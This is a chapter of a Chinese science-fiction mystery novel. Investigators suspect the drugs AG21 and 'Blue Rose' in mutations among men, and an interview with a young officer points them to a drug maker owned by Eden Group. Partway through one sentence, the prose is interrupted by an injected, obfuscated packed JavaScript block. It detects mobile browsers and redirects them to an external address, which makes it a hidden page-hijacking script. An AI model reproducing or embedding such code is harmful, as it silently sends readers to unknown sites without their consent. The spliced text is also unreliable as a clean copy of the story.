抓到一点蛛丝马迹，陆晏清立刻来了精神，叫周烈把蓝色玫瑰和AG21全都买过来，送到医学化验室化验，很快，从化验室送来了一长串的成分，陆晏清召集了所有的工作人员，连夜梳理，最后得出的结果是，这两种药的成分绝对没问题，不管怎么排列组合都不会造成如此严重的异变。 线索又断了。 在走投无路的情况下，陆晏清想出了一个方法，她把近期购买过此类药品的名单都挖了出来，她需要知道他们真实的用量。 毕竟虽然按照正常剂量来说没问题，但如果是，超剂量使用呢？ 与此同时，不知是从哪里走漏了风声，近期一连串的事件迅速在网络上传播，扩散，发酵，从中变异出各种可怕的谣言，弄得每个人都人心惶惶。 准确的是，每个男人。 他们开始害怕自己真的变成那种可怕的模样，变成孕育“异种”的摇篮，被怪物寄生，他们在互联网上散发一些恐慌言论，一时间，雪花越滚越大，舆论压力从四面八方压来。 余颂时坐在办公椅上无聊地刷着网上的帖子。 现在即使她不想看这些信息，只要一上网，就躲不掉铺天盖地袭来的讨论。 她被迫卷入了信息茧房。 【匿名帖子：你们发现没有，案子受害者都是男人啊，而且据警察朋友说，可能是有人故意这么做的。什么异变会变成这个样子啊……】 【想到有个异物在肚子里我就觉得好恶心。】 【好恶心+1，就不能揪出是谁干的吗？】 【现在我都不敢出门了。】 【警察说最近不要购买AG21，嗯，会和这种药有关吗？】 【有可能。】 【该死的，我之前都靠它来着……】 【兄弟忍忍吧，为了你自己的健康着想。】 【我死也不想变成那个样子，好丑好恶心。】 【是啊，那让女人怀孕生孩子的时候你们怎么就沉默了？针不扎到自己身上就不觉得痛哈。】 【哈哈，赞同。你们也是时候体会体会女人的感觉了。】 【我倒觉得挺好，这些男的也不是什么好东西。】 【你们是在发动性别战争吗？】 …… 余颂时刷到后面，帖子的风向就逐渐变偏了，变成了两派人争吵不休，甚至直接上升人身攻击，她看得有点累，也有点好笑。 有一种，荒谬的幽默感。 明明她已经穿越到了两百年后，但似乎还是什么都没变。 她觉得自己的眼睛看得有些酸痛，正准备关掉光屏休息一会的时候，陆晏清走了进来，后边跟着臊眉耷眼的周烈。 陆晏清走到桌子边，抬了抬下巴，示意周烈坐在对面。 周烈瞥了对面的余颂时一眼，看起来很不情愿地坐在了对面。 余颂时满头问号。 陆晏清拍了拍她的肩膀：“你负责问他的情况。” 余颂时皱眉：“问什么情况？” “他最近购买了AG21，你可以问问他。我还有事情要忙。”陆晏清点了下手环，“要问什么我都已经发到你的手环上了，记得要查收。” 余颂时脑子还没理解清楚，就已经忙不迭地点头了：“哦，好的。” 等到陆晏清离开之后，面对垂头丧气，看起来特别像被主人踹了一脚的狗的周烈，余颂时感觉有些无所适从。 她干巴巴地开场：“你好。” 周烈眉眼里都写着哀伤，他抬起头，扫了她一眼，又很快低了下去。 “你好。” 余颂时扯出一个她自认为十分“友善”的微笑：“我们问一些问题就好，别紧张。” 周烈咳嗽一声，回答道：“好的。” “第一个问题。”余颂时正大光明点开光屏看起了小抄，“你是什么时候开始购买AG21的？” “嗯…去年年末。”周烈回答道。 “去年年末，因为什么原因？在哪里购入？”余颂时又问。 “因为…”周烈的头低得更低了，连耳朵也染上微妙的薄红，“因为交了女朋友。在，在便利店买的。” 便利店还有卖这玩意儿？ 余颂时思考了一瞬，这说明很多人用嘛。 她尽量无视周烈的反应，让自己的声音听起来公事公办，冷静自持，“那你用AG21的时长是？” “……一年吧。”周烈的声音越来越小，几乎听不到了。 而坐在对面的余颂时，从一开始还能看到一点周烈的脸，到最后面对的就是周烈头顶的发旋了。 “使用频率是？”余颂时继续问道。 周烈抬起头，他两颊通红，眼睛瞪得滚圆，像听到了什么不可思议的诉求一样。 “这也要说？” 余颂时：…… 她突然有种调戏良家男的错觉，这对吗？ 她尴尬地又咳嗽了一声，然后非常郑重地点了点头。 要说。这可是陆晏清布置的任务。 她完成任务是有钱的，不赚白不赚。 周烈的神情看上去非常痛苦纠结，像是在心里天人交战了一番，才最终咬了咬嘴唇，像是下定了某种决心，长呼一口气，然后说：“大概一周一次吧。” 余颂时点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15093743|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点头，隐晦地说：“那好像还不多。” 周烈：…… 余颂时瞥见周烈的表情，忍住笑，继续问：“那你有使用蓝色玫瑰吗？” 周烈摇了摇头：“蓝色玫瑰是违禁品，它会让人意识模糊，许多人用这个来做违法犯罪的勾当，所以只有在黑市隐秘流通。我怎么可能用？” 余颂时哦了一声，想了想，又问：“那你在使用的时候，有觉得身体有什么感觉吗？身体有出现异样吗？” 周烈不知道联想到了什么，脸一下变得煞白：“你该不会是说？” 余颂时看到他摇摇欲坠的可怜样子，连忙摆摆手：“你放心，现在这事儿没定论的。” 周烈似乎放心了些，紧绷的肩膀放松了下来，但还是没完全脱离警惕。 “使用的时候，嗯……倒是没有什么异样。”周烈挠了挠头，“就是觉得，挺，挺……” 他好像一台出故障的卡带机器，反复播放一个词，余颂时忍不住接话道：“挺好的？” “嗯，嗯，挺好的。”周烈的脸已经彻底红成了熟透的番茄，他结结巴巴地继续解释道，“其实之前我也试过其它的，但是AG21是最靠谱的，可能因为它是伊甸集团旗下生产的吧。” 余颂时本来在记录，听到伊甸公司这四个字，猛地抬头。 “等下，你说AG21是伊甸集团生产的吗？” 余颂时快速翻到前面的资料查看，发现上面只写着AG21是一家名叫“馨灵”的制药公司生产的，却并没有提到伊甸集团。 “我没记错的话，应该是在去年，伊甸集团收购了馨灵。”周烈沉思片刻，“不过虽然伊甸收购了，但是生产啊之类的应该还是馨灵负责，伊甸只是成了名义上的大股东罢了。” 余颂时点了点头，在光屏上把馨灵这两个字圈了起来。 “我应该没有其它问题了。”余颂时收起手环，正色道，“你可以离开了。” 周烈早已经如坐针毡，听到余颂时这话，马上从座位上弹射起来，拔腿就要跑。 余颂时觉得好笑，又叫住了他：“对了，你最近先不要用AG21，自己多注意点。” 她朝周烈眨眨眼，露出一个高深莫测的微笑。 周烈：…… 几秒钟后，周烈惨白着一张脸，全身上下水淋淋的，脚步虚浮，踉踉跄跄地走出来，像是遭遇了什么非人虐待。 余颂时转头看见周烈仿佛丧家之犬一般离开的背影，好笑地摇了摇头，又集中注意力到整理资料上去。 她有种直觉，这件事应该和伊甸集团也脱不开干系。 从游乐园那时候开始，伊甸集团的身影就无处不在，会这么巧合吗？ 先从这个制药公司馨灵下手，找找有没有什么可以查的可疑线索。 她上网搜索馨灵两个字，蹦出无数搜索结果。 她直接点进去第一条的科普，上面写着：馨灵，成立于2180年，现任执行董事长，董馨灵。创始人董沛，于2190年去世，其养女董馨灵继任董事长之位，掌管馨灵。 她再往下看，找到产品，往下拉，看到了AG21的那栏。 AG21系列研发经理，周海棠。